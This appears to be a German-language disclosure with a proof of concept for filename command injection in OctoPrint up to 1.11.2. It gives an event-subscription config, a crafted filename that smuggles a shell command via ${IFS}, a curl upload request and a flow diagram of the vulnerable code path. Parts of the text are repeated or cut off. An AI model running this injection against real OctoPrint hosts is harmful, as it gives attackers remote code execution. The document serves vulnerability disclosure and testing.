
In OctoPrint Version <=1.11.2 kann ein Angreifer mit Datei-Upload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zur Remote-Codeausführung (RCE) auf dem Host führt.
In OctoPrint-Versionen <=1.11.2 kann ein Angreifer mit Dateiupload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zu Remote Code Execution (RCE) auf dem Host führt.
Neueste stabile Version heruntergeladen: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
Stoppen Sie den OctoPrint-Dienst, sobald die obigen Schritte abgeschlossen sind.
Gemäß der OctoPrint-Ereignisdokumentation:
Bearbeiten Sie ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"

Erstellen Sie /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
Starten Sie den OctoPrint-Dienst neu.
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'Erklärung: ${IFS} ist das interne Feldtrennzeichen der Shell (normalerweise ein Leerzeichen). Es umgeht die Bereinigung, wenn es injiziert wird.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123

Wenn /tmp/test123 existiert, wurde der injizierte Befehl erfolgreich ausgeführt → RCE bestätigt.
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
Wenn eine Datei hochgeladen wird:
;, ${IFS} usw.) an eine Shell übergeben.Ergebnis: Remote Code Execution (RCE) auf dem Hostsystem.